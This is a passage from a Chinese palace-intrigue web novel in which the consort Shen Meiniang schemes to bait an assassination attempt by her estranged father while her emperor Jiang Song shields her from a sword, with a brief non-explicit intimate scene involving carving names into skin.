他继续默默看着沈美娘,等她吃完馄饨。 沈美娘在心里松了口气。 姜颂平常实在是太纵着她了,居然都让她差点忘了他是皇帝这件事,差点说了不该说的东西。 姜颂说他不想被同化的事,沈美娘其实觉得那是一件不可能做到的事。 就像她说的那般“一方水土养一方人”。 姜颂被灌输了许多领先于这个时代的思想,可就算他是皇帝也不可能在几十年里彻底改变这个世界。 当他发现即使拼尽所有,理想也会与现实格格不入,他会内耗吧? 内耗完了呢?他会怀疑、质问、疯狂反思,直到…… 沈美娘捏着勺子的手一紧,心里突然有了一个想法—— 姜颂只有两个结局。 要么坚持那些镜花水月又无用的想法,痛苦挣扎着清醒地疯掉,抑或是死掉。 要么……他只能接受被这个时代同化。 沈美娘看着姜颂和摊主闲聊的场景,目光深沉了许多。 姜颂可能是察觉到了沈美娘的眼神,转过头看她:“美娘,你这是吃不完吗?没关系的,偶尔吃不完剩下也没事的,不是故意浪费的就好。” 沈美娘低头,道:“没有。” 她慌张地擦了擦眼角,才发现自己哭了。 沈美娘看着指尖晶莹而陌生的眼泪,心里涌起无措和不解。 她怎么会哭呢?她怎么会仅仅是因为想到姜颂会死就哭呢? 这也太不像她了。 就像是在芙蓉谷被叶司马接回府上的那日般,她当时并没有自己预计的那般高兴。 此时的沈美娘则是完全没想到,有一天,她会因为一个男人掉眼泪。 “美娘!”姜颂走到她身前蹲下,“你到底怎么呢?是这个馄饨不好吃吗?还是太辣呢?” 姜颂还在嘀咕:“不应该啊,这个时代都没有辣椒,最多不就是些胡椒粉嘛……” “南州人这么不能吃辣吗?”姜颂依旧在自言自语。 沈美娘却忽然用力抱住他,道:“我没事,公子你也要没事。” 在姜颂看不见的地方,沈美娘眼中满是偏执神色。 姜颂的思想不容于世又如何? 沈美娘偏要姜颂好好活在这世上。 老天爷容不下姜颂,那她就和老天爷对着干! 反正逆天而行的事,她也不是没做过。 姜颂不知道沈美娘为何突然要抱他,但被沈美娘拥抱,他除了心里美滋滋,乖乖让她抱,再没有别的想法。 不知过了好久,姜颂才道:“美娘,再不吃馄饨,就凉了。” 沈美娘这才松开他,将剩下的馄饨吃得干干净净,把碗给他看:“我吃好了。” 她故意把手帕递给姜颂,道:“公子帮我擦擦嘴。” 姜颂听话地帮她擦干净,把手帕折好放进袖中。 沈美娘促狭一笑,逗他:“公子这么喜欢偷人家东西啊?” “才不是!”姜颂连连否认,“我让人洗干净了还你。” 沈美娘本来就是逗姜颂的,看他如她所料地红了脸,连连辩解的模样,捂住嘴笑出声。 姜颂这才明白沈美娘又在戏弄他。 “沈美娘!” 姜颂反应过来,去追沈美娘。 沈美娘自然不会让姜颂追到她,拔腿就跑,往人群里钻。 她想着避开姜颂,往人流的缝隙里钻,结果有一个人像是故意挡在她面前不让。 沈美娘躲闪不及,一头撞到那人怀里。 她听到那人闷哼一声,连忙道歉:“对不住……” 被沈美娘撞到的男人退后一步,很是温柔道:“无碍。” 沈美娘微微抬头,男人看到她的容颜,眼中闪过惊艳和错愕之色。 “美娘,你没事吧。”姜颂追了上来,走到她身边。 男人看到姜颂,眼中的惊讶之意更重,他正想行礼,却被姜颂制止:“都是一家人,不必客气。” 沈美娘听到姜颂的话,向被她撞到的男人看去。 眼前的男人和姜颂生得有三分像,但也只是三分。 这个男的比姜颂丑多了。 结合姜颂说的话和眼前男人的年纪,沈美娘很快就猜出了这人就是宁王殿下,先帝同胞兄弟的长子。 和姜颂老老实实不更父法,做过最出格的事就是纳沈美娘为妃不同,这位宁王殿下可是出了名的风流放浪。 宁王就比姜颂大一两岁,但府中姬妾许多,常年也流年烟花之地,是那群写传奇的酸书生最喜欢的“风流浊世佳公子”。 沈美娘对这位没有什么实权的宁王殿下没兴趣,往姜颂身后躲了躲,并不想和他多说话。 宁王却看向沈美娘,眼中的惊讶褪去,带着温和的笑意问:“这位便是堂兄新纳的妾室吧?” 姜颂听到这话有些不高兴,皱眉道:“喊什么呢?没大没小,叫嫂嫂。” 宁王和沈美娘听到姜颂的话皆是一愣。 宁王没想到姜颂竟会如此宠爱这个新纳的贵妃,心中不免对沈美娘的地位有了新的认识。 “是我唐突了,”男人看向沈美娘,眼中带着歉意,“沈嫂嫂好。” 沈美娘摇头:“无事。” 她对和刚认识的亲戚闲聊没兴趣,正想拽着姜颂的手离开,又听到男人道:“堂兄和嫂嫂当真感情深厚。” 姜颂略带骄傲地点头:“你嫂嫂是我的妻子,我当然得待她 好些。” 沈美娘看着眼前的宁王微笑点头,没有多说话。 但从男人看向她的目光——即使他极力用礼节性的笑意掩饰了,沈美娘还是看出了他眼底的喜欢。 这个宁王对她见色起意呢? 沈美娘早就听说过宁王闲云野鹤、不慕朝堂的名声,不过一个敢对自己嫂子起这种念头的人。 她觉得可跟什么淡泊不沾边。 就在此时另一个熟悉的声音传来—— 沈温牵着李姮的手走过来,道:“宁王殿下,刚才我和姮娘去买糖葫芦,耽误了许久……” 沈温看到姜颂和沈美娘也在这里,在短暂的怔愣后,行了个官员间上下级的礼:“公子和夫人两人可玩得尽兴?” 姜颂对沈温如今没什么好感,随便点点头。 沈美娘也只是对沈温颔首,便看向李姮,问:“李娘子,这糖葫芦在哪里买的?瞧着好像很好吃?” 李姮从看到沈美娘起就浑身不自在。 她从知道眼前这人是她姐姐后,就不知道日后两人见面该如何相处。 从她和阿娘的立场看,沈美娘就是个不知道从哪里冒出来的外室女。 可是从沈美娘过往看,她自幼没了亲人,又是阿爹始乱终弃再先。 阿娘又和她说,沈贵妃很不容易,从前为奴为婢吃了许多苦…… 在沉默片刻后,李姮主动分了一串糖葫芦给沈美娘,小声道:“给。” 沈美娘眼中闪过意外之色,看李姮的神色复杂了许多。 她接过糖葫芦,轻笑:“多谢李娘子。” 李姮又看了眼姜颂,声音更小:“公子想吃可以自己去买,剩下两串,一串我答应给翩翩了,还有两串是我和阿娘的。” 虽然,阿娘让她好好和沈温玩,争取让沈温早日主动上门提亲,这样阿爹就不会把她许给郑家和谢家的子弟了。 可是……阿姐问她要糖葫芦,把原本打算给沈温的那串给阿姐吃,应当也没事吧? 姜颂非但没因李姮的话生气,反而很是高兴:“无妨,我想吃自己买就是了。” 沈美娘还是打算拉着姜颂单独赏花灯,却听到李姮突然喊住她。 沈美娘转头,看到李姮鼓起勇气问:“下个月开春,我和几位好友说要去踏青……夫人您来吗?” 她有些忐忑不安,害怕沈美娘真的答应,却更怕她拒绝。 沈美娘点头:“好啊,定好日子告诉我就行。” 李姮如蒙大赦。 她也不知道该怎么和沈美娘这个突然出现的姐姐相处。 但有好玩的记着这个姐姐,总不会有错吧。 沈美娘和姜颂的身影没入人流后,宁王才问李姮:“这是李尚书流落在外的明珠?” 得到了李姮肯定的回答,宁王眼中才浮现几许了然。 这几日,他的人说陛下新纳的贵妃是李守义流落在外的女儿,他原本没放在心上。 一个贵妃而已,又不是皇后,别说他,就算是谢党的人都没多上心。 但……他怎么也没想到这个女人,居然会和他梦中的那个女人长得那般相似。 几乎可以说是一模一样。 宁王喃喃:“难怪我说怎么找不到呢……” 他去了不少风月之地,甚至赴了无数宗室高官的宴席,就为了找到那个梦里与他共度一生的女子—— 原来她早就成了他那个蠢货堂兄的女人。 那头的姜颂已经拉着沈美娘,找到了刚才李姮买糖葫芦的店家。 他豪横地指着糖葫芦,霸气道:“这个这个,还有那个,全都要!” 沈美娘不明白李姮已经给了她糖葫芦,姜颂为何还要给她买,拽了拽他的袖子。 姜颂却以为沈美娘觉得他浪费,解释道:“美娘,一个口味拿一个嘛,吃不完还可以冰着,不会坏的!” 她这个南方人不要小看上京的冬天啊。 沈美娘看姜颂误会了,只好把自己的疑惑讲给他。 姜颂听完,意外道:“你没难过啊?” 沈美娘:“我难过什么?” 姜颂从摊贩手里接过一大捧糖葫芦,分成两份,一份给了沈美娘,一份他先帮忙拿着。 等腾出空手,他才道:“我以为你看到李姮和沈温一起出来玩,还有姜翩翩那样的好朋友会难过的。” 反正姜颂觉得他要是从小过得很苦,但同父异母的妹妹却从小父母双全,也有很多朋友,未来还会有个如意郎君——他肯定会恨死的。 不仅恨父亲,恨妹妹,他说不定还会恨命运不公,恨全天下的每一个人! 沈美娘摇头:“我没有啊。” 她咬了一口姜颂送她的糖葫芦,失了时刻保持的大美人的优雅,口齿不清道:“我遇到你了呀。” 就算她曾经历过的事,和陈盈的故事比起来不遑多让,但—— 她遇到姜颂了。 沈美娘觉得上天让她遇到姜颂,也算是怜她。 姜颂听到这话,眼里泪汪汪。 他的美娘真是太好了,太善良了。 他得对她更好、非常好,天下第一好才行! 第39章 第39章一个不平凡的夜晚。…… 沈美娘看姜颂眼中流露出来的怜爱。 还有他眼里在花灯映照下,泛着光的泪花。 这个小皇帝一天天的到底在想些什么啊,怎的动不动就感动…… 沈美娘又咬了口糖葫芦。 奇怪,上京的糖葫芦真是甜得出奇。 回去之后,可怜的姜颂赶回紫宸殿继续去批折子了。 沈美娘则屏退其他人后,把李姮给她的糖葫芦递给了青词,道:“这是李姮给你的。” 这次青词没有直接把糖葫芦丢掉,但她也没尝,最后只用油纸将糖葫芦包好放到了桌上。 她问沈美娘:“我把李守义的人放了,他当真会主动出手吗?” 沈美娘还在啃姜颂给她买的糖葫芦,闻言停下动作:“他会,不仅会,咱们还得给他机会。” “我在宫里,他不好动手,”沈美娘又看向青词,“你武艺高强,你在我身边,他也不好动手……” 沈美娘又咬了口糖葫芦。 糖葫芦外层的糖衣清脆碎裂的声音,在空旷的殿内显得有些怪异,沈美娘的笑容也透着诡异。 她擦了擦嘴角的碎糖,笑道:“那我就出去,你也被他的人‘杀死’好了。” 李守义想要机会,沈美娘就给他机会。 然后,再叫这个自以为手段过人,以为自己能一辈子瞒天过海的男人,亲眼看着自己是如何一步步犯错的。 沈美娘道:“我答应李姮与她去踏青的事,当然得给他机会,在这时候动手。” 宫里的娘娘很少会出宫,踏青是李守义动手不可多得的好机会。 沈美娘为了给李守义动手的机会,在踏青前还做了不少准备。 她吵着说伺候的人手不够,让殿中省给她拨了一批新的宫人来。 沈美娘要的急,当然知道里头很有可能会有别人安插的眼线,但没关系—— 后面她再清理就是了,当下她就是要让李守义有机会在她身边安插人。 她要让李守义觉得,他动手杀她,是件有把握的事。 沈美娘的宫人配置逾越了妃制,御史台也有人给姜颂谏言。 他把这些事全都压了下来,胡乱批了,没当回事。 沈美娘却从宝儿新认识的女官朋友们那里,知道了那些进谏言官的背景。 大多是谢党人,不少还是李守义知贡举时的门生。 不过这些人与他这些年联系不多,若不是有 心,很难一时联想到两人的关系。 更何况,谁能想到一个父亲,会让门生弹劾自己的亲生女儿呢? 沈美娘知道李守义如她所料般——急了。 现在就该轮到她入局,给李守义最想要的那个机会了。 沈美娘和李姮把踏青的日子定在了二月初八。 这天也是姜颂的生辰,沈美娘原本以为她不能陪姜颂过生辰,不能参加他的万寿节宴会,他会不高兴。 但她没想到,姜颂一点都没有不高兴。 他反而从得知她要和李姮去踏青起,就一副很上心的样子。 沈美娘出发这日,他更是亲手把尚食局做的点心递到沈美娘手里,鼓励道:“美娘,你好好玩!” 沈美娘看姜颂这样,故意道:“陛下,臣妾今晚可能不回宫住了。” “啊……好,也好!”姜颂迟疑了一下,还是点头应道。 沈美娘道:“陛下,就不留留臣妾吗?今天可是陛下的生辰欸。” 姜颂垂眸。 他十八岁的第一天,不能和沈美娘共度,他确实有些遗憾。 但…… 姜颂用力摇头:“美娘,这是你的亲人,我知道你的亲人很重要……生辰嘛,我年年都会过的,明年我们再一起过吧!” 沈美娘听到姜颂这般体贴的话,脸上的盈盈笑意滞了片刻。 她依偎进姜颂怀里,突然想到了一个两全其美的办法,道:“陛下,万寿节宴会应该不会结束得很晚吧?” 姜颂:“酉时应该可以结束。” 沈美娘仰头,邀请他:“陛下,要不结束了,就来城外玉泉观找我?我有礼物送给陛下。” 姜颂应下:“好。” 沈美娘踮起脚,亲了亲姜颂的脸,粲然一笑:“陛下,生日快乐!新的一年,要和所有烦恼说拜拜哦。” 她记得姜颂说过,他娘那个世界,是说生日快乐来着。 还有他最近总是提到的什么生日快乐歌。 姜颂听到沈美娘说的是他向往的那个世界的吉祥话,被沈美娘亲后本就欢喜至极的心,不由更加雀跃。 他就知道美娘就算找到了亲人,也肯定还是更偏爱他一点。 沈美娘愿意了解他向往和喜欢的东西,还愿意想办法和他过生日,虽然没有改掉踏青时间……但这也是偏爱了!- 沈美娘把小点心分给同行的姜翩翩和李姮。 她不大明白,为何姜颂要让尚食局做点心,还带来给同去踏青的姐妹们分。 但姜颂坚持要让她带,说是幼儿园小朋友春游都会带点心,和好朋友换着吃的。 这样也可以交到更多新朋友。 沈美娘不知道什么是幼儿园。 她问姜颂,他也说什么不清楚,不过从他憋笑的样子来看,感觉不是什么好形容词。 但谁叫姜颂现在是皇帝,他又实在坚持,沈美娘只好带上了这些点心。 沈美娘也没想到今日李姮没有喊多余的人,拢共就她们三个。 李姮可能还是不知道该怎么和沈美娘相处,吃了块点心,鼓起勇气,主动示好:“这点心真好吃,谢谢阿姐。” 沈美娘看李姮有些害羞的样子,笑道:“好吃就行。” 她看李姮就带了姜翩翩,问:“你怎么不多带几个朋友?” 李姮解释:“我怕阿姐不喜欢人多。” 她其实也是怕那些京中贵女看不起她阿姐,万一说什么让她阿姐伤心的话。 像谢颖和她那帮好友,就背地里说阿姐的坏话。 还总是非议阿姐从前流落在外,为奴为婢的日子。 但李姮不想说出来,惹得阿姐伤心。 沈美娘却从李姮的神色变化里,想到了其他可能的原因。 她轻笑:“姮娘的好心,阿姐知道了。” 沈美娘好看灵动的眼里全是笑意,让李姮有片刻失神。 她匆匆低头。 难怪陛下会这般宠爱她阿姐,阿姐这样的笑颜,谁会不心软呢? 到了玉泉观,李姮带着沈美娘往里走,她对此处颇为熟悉。 沈美娘问她缘由,李姮道:“阿娘和姨母都笃信道教,我常替她们到玉泉观来,拜访诸位道长。” “若是可以,其实我也倒是想皈依道教……”李姮眼神黯淡,摇了摇头,“没什么。” 沈美娘思索片刻,道:“本朝推崇道家,皇室民间都多的是女子皈依的。姮娘若是想,倒也没什么不可以的。” 李姮摇头,苦笑道:“阿姐,我的人生,哪里是我自己能做主的。” “我有时候都羡慕阿姐,好歹你是陛下的妃子……我若是能嫁给沈公子还好,我就怕被爹爹许给郑家和谢家的那些公子。”李姮道。 她阿娘就是谢家女,外祖母又是郑家女,李姮还能不知道那两家这一代的表哥、表弟们是什么样吗? 可是爹爹总觉得和寻常人家联姻,辱没了她们陇西李氏的名声,只想继续与五姓七望联姻。 沈美娘听到这话,若有所思。 李姮哂笑:“我身体又不好,阿娘这些年为我操碎了心,和爹爹私下不知吵了多少次。” 如果不是阿娘怕她成婚太早,过不了生孩子那关,死活不同意,恐怕,她早就被爹爹安排订了婚。 沈美娘提议:“那不如你的婚事,阿姐来替你安排?” 李姮听到这话连连摇头:“多谢阿姐好意,但,这婚姻大事,还是要父母之命。” 沈美娘也不再多说什么,只在心里记下了韩国夫人母女与李守义之间的矛盾。 她看着走在前面的李姮的瘦弱身影,突然冒出一个想法—— 若是一定要在丈夫和女儿之间做选择,也不知道韩国夫人会选择谁。 姜翩翩开口打破了沈美娘的沉思:“娘娘,这是怎么呢?” 沈美娘这才注意到,这个上次见,明明很是会说话的小姑娘,今日格外话少。 她也不知道这个姜翩翩是当真关心她,还是有意打断她翻飞的思绪,只轻笑:“没什么。” 姜翩翩笑得天真烂漫,真切道:“娘娘无事就好。这几日格外的冷,这地上有寒冰,我怕您不小心摔了碰了。” 沈美娘也笑着回应:“多谢郡主提醒。” 她看着只有十二三岁的姜翩翩,确定眼前的小姑娘刚才是故意搅乱她思绪的。 姜翩翩应该是不想她打李姮主意。 还真是很在乎朋友的小姑娘。 既然姜翩翩看出来她心思不纯,沈美娘就没有继续想李姮的事,老老实实跟着进了玉泉观的正殿前。 道长给沈美娘递了三柱香,简单和她说了该如何敬神。 她推说身子不适,让青词代她上香。 李姮听到沈美娘喊身边的侍女“青词”,有些意外:“阿姐家中也笃信道教?” 这青词是道长们斋醮时献给天神的奏章祝文,沈美娘给她的侍女起这么个名字,原是她也信这些吗? 沈美娘看到青词的身影颤了颤,道:“勉强也算。” 陈盈、青词,还有那些死去的陈家人确实都信。 但她沈美娘不信。 李姮闻言欣喜异常,拉着沈美娘就想谈论那些求仙、修身之道。 沈美娘对这些毫无兴趣,只能随便附和几声。 用完斋饭,沈美娘借口身子不适,没有继续陪李姮和那些道长们论道。 厢房里,沈美娘看着青词,问:“你刚才和神灵许了什么愿?” 青词总是冷淡的脸上,难得有了几分真情流露,道:“我希望阿盈和夫人都可以在登葆山,飞升成仙。” 她又有些意外:“你为何不许愿呢?” 这玉泉观的名声可是天下闻,是出了名的 灵验。 沈美娘轻笑,道:“我懒得许愿,不行吗?” 她对求神拜佛没兴趣,也不信这些。 求神不如求己。 但沈美娘也不至于直接说出来,扫了青词这种相信这些东西之人的兴致。 青词推开门想走,沈美娘却叫住她。 她回身看过来,看到沈美娘那双总是笑盈盈的叫人看不透的眼睛,此刻终于有了几分担心。 沈美娘嘱咐道:“小心。” 青词“嗯”了一声,大步离开。 青词离开后,沈美娘按照计划,只是继续看着书等消息。 她看了一个多时辰,听到有人敲门,以为是姜颂提前来了,却没想到开门是姜翩翩。 她道:“这个道观不对劲儿,贵妃娘娘,咱们得马上走。” 沈美娘没想到姜翩翩会看出来这个地方的问题,她正想敷衍过去,又听到她像是反应过来:“这是您安排的?” 沈美娘道:“不是我,但我知道是谁安排的。” 姜翩翩愣了片刻,才道:“打扰娘娘了,我这就走。我今晚和李娘子会紧闭门窗,娘娘也请注意安全。” 沈美娘望着姜翩翩离开的身影。 这个人果然不简单,但目前看起来,倒也不像是敌人。 沈美娘合上门,又看了会儿书,门又被人敲响了。 她以为是姜翩翩发现青词“死了”,正想开门叫她不必担心,就被人抱了满怀。 少年身上熟悉的龙涎香和墨香混合,混着寒意的味道袭来,沈美娘几乎立刻知道来人是谁。 姜颂笑声爽朗,很是得意道:“嘿嘿,没想到是我吧!” 沈美娘从姜颂的怀里钻出来,问:“陛下,怎的今日来的这般早?” 这天才刚黑,不是应该正是宴会开始的时候吗? 姜颂有些心虚道:“我提前结束了,反正年年就是那些话,曲目也不变……我给一些大臣各家赐了菜,就溜了。” 沈美娘听到姜颂就是这么当皇帝,有些不赞同,但…… 姜颂又道:“我想早点看到你嘛。” 好吧,她也没那么不赞同。 姜颂坐下,像只听话的大狗狗,满眼期待看着沈美娘:“美娘,今天我生日,你说要送我的礼物是什么?” 沈美娘故作玄虚道:“是……” 姜颂:“是什么?” 沈美娘盘算了一下时间,觉得应该绰绰有余,继续问:“陛下,现在饿吗?” 姜颂:“不饿,我今天宴席上吃了东西,还喝了不少茶。” 他又问:“你饿吗?” 沈美娘摇头,道:“那就好。” 好什么? 姜颂不明所以,就看到沈美娘将窗一一合上,走到他面前拉住他的手。 直到被沈美娘拉上床,姜颂才后知后觉明白,她想要做什么。 他想告诉她,这种把自己当礼物,自己物化自己的行为是不对的,但他真的开口说的却是:“我、我不会。” 沈美娘的手解开姜颂腰间的玉带钩,轻笑一声,问:“陛下,都没有教您懂人事的宫女吗?” 姜颂:“我拒绝了。” 当年父皇是想给他安排的,但他觉得那是剥削别人的性/价/值,也根本不想和不喜欢的人做那种事。 他就全都拒绝了。 沈美娘像是想到了什么,轻笑:“陛下,真是个好孩子。” “没事的,”沈美娘俯身盯着姜颂,唇角微勾,“我教你。” 两人的衣物被主人丢下床,一件重着一件,轻薄华美的锦缎和厚实的大氅纠缠在一起。 姜颂从小到大都不知道人还能这般快乐。 在终于坠入谷底,被人温柔托住时,他却发觉沈美娘突然按住了他的手。 沈美娘早就准备了些奇奇怪怪的东西放在枕边。 她注意到他的目光,安抚道:“很快就好。” 姜颂感受到酥酥麻麻的感觉,伴着持续的刺痛,从手腕处传来。 他闷哼一声,却没有挣脱,偏过头向手腕看去—— 只见伴随着一滴滴血逐渐成形的,是一个“美”字。 沈美娘擦掉姜颂手腕处渗出来的血珠,吻了吻他的手腕。 轻柔的触感就轻松取代了刚才钻心的疼。 沈美娘道:“这是我送给陛下的礼物。” 她握住姜颂的手,似乎是想在她的肩窝处,也刻下一个字。 姜颂却松了手,道:“不用了,会弄疼你的。” 沈美娘眼里的神色愈加温柔,轻声道:“没事的。” 她握着姜颂的手,捏紧工具,刺入她的血肉。 沈美娘却像感受不到痛意般,只道:“以前,叶司马想让人在我的背上刻一幅牡丹图,我说什么都不答应……” “我的身体,只有我自己可以做主。” 直到她肩窝处,那个“江”字的最后一笔成形。 沈美娘才松开姜颂手,抱紧他,在他耳边低喃:“宋江江,我喜欢你。我允许你,成为我身体的一部分。” 沈美娘的话有些癫狂和偏执在里面,姜颂却一点都讨厌。 他甚至觉得自己愈加兴奋了。 他被刻下沈美娘名字的那只手,轻轻抚摸着沈美娘的肩窝。 两人四目相对,姜颂才忽然意识到—— 他和沈美娘就是天生一对。 他们都是和这个时代格格不入的人,他们都是一样离经叛道的人。 也是最了解彼此的人。 这个雪夜有脂粉味,有墨香,还混着似有若无的血腥味,刺激着两个初尝/禁/果少年人的每一个感官。 直到窗外忽然传来兵戈交接的声音,姜颂迅速反应过来,翻身下床,匆忙穿好衣裳。 沈美娘跟在他身后,捡起地上的衣裳。 一切都如沈美娘预想的那般发展。 但她没想到被她的人故意放进来的杀手,向她一剑刺过来时,姜颂会挡在她身前。 沈美娘今夜最初的计划里,根本没有想把姜颂拉进来。 但后来她又觉得,把姜颂拉来,把妃嫔遇刺变成皇帝遇刺更好。 更何况,她今晚睡完姜颂,依他那些奇奇怪怪的想法,对自己定义肯定会更不一样。 沈美娘再当着他的面,受个伤,后面整李守义,又会轻松许多。 但她没想到,姜颂会想也没想,就挡在她身前。 沈美娘愣在原地,像是不明白世上怎的会有姜颂这么“蠢”的人。 姜颂却已经反应过来,一脚踢开杀手。 姜颂看了被剑刺穿的胸口一眼,不过须臾就选择将剑拔了出来,血从伤口处涌出,他却毫无痛觉般,反手刺在杀手的身上。 姜颂拔/出剑,丢给沈美娘,厉声道:“快走!” 第40章 第40章再辩论一下。 沈美娘听到姜颂的话依旧没有离开。 她早就安排好了暗卫,她知道刚才的杀手是唯一一个被放进来的。 沈美娘撕下裙摆替姜颂捂住胸口的伤。 姜颂还没反应过来这一切都是沈美娘策划的,依旧坚持:“美娘,你别管我,你快走啊!” 沈美娘听着屋外还在继续的缠斗声,眼神比以往还要寒凉,道:“不会有事的。” “你说什么……”姜颂没有立刻明白沈美娘的意思。 但他说着说着,就反应过来,伸手抓住沈美娘按在她胸口的手,质问:“你故意的?” 沈美娘听到姜颂的质问,莞尔一笑:“没有,臣妾就是……” “你这是胡闹!”姜颂像是已经想明白今晚的前因后果,“谁准你这样的!” 沈美娘也没想到脾气最好的姜颂,会因一件还没完全确定的事生气。 她见姜颂还想说她,在短暂的纠结后,直接一个手刀打晕了姜颂。 他本来胸口就有伤,还花大力气来教训她,是真的想死吗? 姜颂晕过去后,沈美娘盯着他睡梦中依旧皱着的眉头,露出不解的神情。 直到外面重归平静,暗卫和刚赶来的侍卫涌入房内,沈美娘都还在默默出神。 会医术的青词和几位道长,将姜颂移到床上,还连忙派人去请太医前来。 沈美娘却只看了一眼浑身是血的姜颂,就选择了离开房内。 她坐在厢房外的石凳上,盯着来来往往的人,周遭的喧哗声仿佛全 都听不见了。 她脑海里只剩下一个问题。 为什么姜颂要替她挡那一剑。 为什么? 沈美娘抱着膝盖,蜷缩在一起,默默想着这个问题。 沈温来时,看到的就是沈美娘一个人像个木偶般,毫无生气地坐着的场景。 陛下遇刺的消息,虽然被叶丞相按下,没有弄到人尽皆知的地步,但朝中官员还是陆陆续续听说了这件事。 沈温在谢党地位举足轻重,前些日子,沈美娘吵着要添宫人时,他又塞了眼线进去。 他不仅知道了陛下遇刺的消息,还因此得知沈美娘竟也在玉泉观。 今早城中宵禁一解,他就往玉泉观赶来,也就看到了沈美娘这副魂不守舍的样子。 他印象里的沈美娘,明媚,张扬,永远都像一株野草,即使被千钧巨石压着,也能顽强地找到求生之法。 可是眼前的她却如此脆弱。 她只穿了单薄的中衣,外头的衣裳随意披在身上,看起来有些衣裳不整。 她的头发也披散着,如瀑般的青丝垂下,更让她显得柔弱,无依无靠。 沈温心中一疼。 “美娘,那些宫人怎的都不知道给你添衣裳,好好梳洗打扮。”沈温解下大氅盖到沈美娘身上。 沈美娘这才从自己的世界里回过神来,她仰头看着眼前人:“沈温……?” 沈温看沈美娘这样呆呆的模样,就想起两人初见时的模样。 那时美娘看他的眼神也是这样,里头没有恨意。 她就像一个刚化形的山精鬼怪,总是呆呆的,笨笨的。 沈美娘问出了,她刚才一个人思考了这么久的问题。 她问:“你会帮我挡剑吗?” 沈温惊讶。 他一时没有反应过来,沈美娘眉头紧锁,替他回答了:“看吧,你不会。” 她也不会。 天底下的人应该都不会。 所以,她才想不通,姜颂昨晚究竟为何要义无反顾扑过来。 沈美娘觉得她一直坚持的利益至上,好像就这样被昨晚那人的行为,凿开了一道缝。 她心里隐隐约约有一个稚嫩的声音,已经回答了她的疑惑,可她不愿相信那个答案。 同时又有一个更冷静的声音在说,姜颂肯定是因为从小练剑,看出来他挡那一下,死不了,才敢上前的。 沈美娘选择了相信后一个说法。 沈温看沈美娘出神的模样,以为她是身子不适,伸手去扶她:“美娘,你究竟怎么呢?” “我……”他想说自己不是不愿意替她挡剑,而是现在还不行。 但沈美娘已经想通了昨夜的一切,她回过神来,起身退后几步,和沈温拉开一段距离。 她将身上沈温的大氅脱下,扔回给沈温。 沈美娘笑意盈盈道:“沈大人,今日多谢你的好意,但还请你记好自己的身份。” 沈温张口欲言,沈美娘却根本不给他说话的机会,道:“本宫是妃嫔,你是朝臣,你想找死自便,别拉上本宫。” 沈美娘转身离开,不再多看沈温一眼。 她是觉得这个沈温还有利用价值,但这种大庭广众之下,他就敢给她披衣裳—— 看来沈温这几年,官位升了,人却还是一如既往的蠢。 和他一比,沈美娘觉得姜颂都没那般蠢了。 沈温看着沈美娘离开的背影,眼中闪过几分不甘,捏紧拳头。 朝臣和妃嫔…… 或许,他这辈子就只能和美娘是这种关系,可是……他真的不甘心,明明先遇到沈美娘的人是她。 那个小皇帝凭什么后来居上。 打断沈温思绪的是叶丞相,他问站在厢房外的沈温:“陛下,现在情况如何?” 叶明舟昨晚就得到了姜颂遇刺的消息,但他要封锁消息,不至于让这件事传扬开来,以至于民心不稳。 他紧赶慢赶,快巳时才赶到这里。 沈温也恢复平日里的温和,道:“臣也是刚到,正想去问几位太医。” 叶明舟点头。 昨晚事发突然,沈温却能这般早就赶来,可见是消息灵通。 也难怪谢阁老这些年,对他的信任,都远超对几个有姻亲的谢党人的信任了。 叶明舟推门进去,就看到了守在姜颂床边,默默擦着眼泪的沈美娘。 这一眼,叶明舟心里对这位沈贵妃愈加满意。 遇刺可不是小事,陛下还受了重伤,沈贵妃却没有被血污吓到。 这屋里的血腥味这般浓,她脸上也无丝毫嫌弃之色,还为陛下受伤涕泪涟涟。 叶明舟看到这小两口是真的感情深厚,心里不由高兴。 沈美娘看到叶明舟,主动道:“叶丞相,你来了。” 叶明舟颔首,问:“敢问娘娘,陛下如今怎么呢?” 沈美娘道:“太医说陛下这伤需要静养一两月,但万幸没有伤到脏腑,若祖宗庇佑,可能午时后便能清醒。” 叶明舟点头,又安抚她道:“昨夜遇刺,娘娘怕是也受了惊吓,不如先去厢房歇息。这里叫宫人们守着就好。” 沈美娘摇头:“陛下受了这么重的伤,本宫如何能放心得下。” 她目光落在床上,呼吸孱弱的姜颂身上,是说不出的温柔多情。 叶明舟不知道沈美娘这眼神七分真三分假,只觉得沈贵妃是当真喜欢陛下。 他便也不再多劝。 沈美娘又试探问了一句:“陛下伤得这般重,都怪昨夜那些刺客,不知此事丞相大人查得如何呢?” 叶明舟道:“事发突然,臣已经派人去查了,很快就会有眉目的。” 他这话是诓骗沈美娘的,虽事发突然,但昨夜的刺客有活口。 按照目前已经审出来的口供,这件事恐怕和李守义脱不了干系。 但叶明舟肯定不能把这一切告诉沈美娘一个后宫妃子,更别说她和李守义还是父女,就对她说了假话。 沈美娘像是信了叶明舟的话,满脸恨意道:“大人一定要把那些害陛下的人全都捉到,叫他们全都为昨夜之事付出代价!” 叶明舟:“是。” 他见沈美娘如此一副“直性子”,也没往她探听消息上面想,只当她是爱陛下,才会如此着急。 等太医给姜颂喂完汤药,其他人都退出去后,沈美娘依旧守在姜颂旁边。 她还是像昨晚那般,依旧好奇地盯着姜颂。 都是肉体凡胎,都是会死的人,他怎么能挡在她身前去呢? 心里那两个不同的声音,又在沈美娘脑海里吵了起来。 沈美娘用力掐了掐自己的肉,用疼痛压下奇怪的想法。 不能继续想下去了,不然,她坚持了这么多年的很多东西,就会被推翻了。 沈美娘拉起姜颂的左手,摩挲着他手上那个歪歪扭扭,却是她一笔一笔刻下的“美”字。 她凝视着那个字,很小声地自言自语:“不管怎么样,我以后都会让你活着。” 就算有一天,做妃嫔、做皇后都不能满足她的野心了。 又或者,她需要在姜颂和荣华富贵两者间做取舍。 她也会保全姜颂一条命。 沈美娘垂眸。 不管姜颂究竟出于何种目的,替她挡了昨晚那一剑,这个承诺都够作为回报了。 “我不要。” 姜颂不知什么时候醒的,他听到沈美娘这句话,才睁开眼反驳。 沈美娘眼中情绪滞了片刻,没回答姜颂的话,出去喊了太医。 等太医离开后,姜颂也没和沈美娘继续刚才的话。 他先唤了叶丞相问昨晚的事。 姜颂听到这事查到了李守义头上,终于把之前所有的一切不合理,全都串了起来。 他确定,沈美娘从很久以前就在策划昨晚的事了。 可能是在她和李守义相认后,也可能是在初到上京时,还可能是她还在南州时就…… 姜颂有些头疼,揉了揉眉心。 叶明舟想到沈美娘和李守义的关系,试探问:“李尚书是贵妃娘娘的父亲,陛下您觉得这事,贵妃会不会也参与呢?” 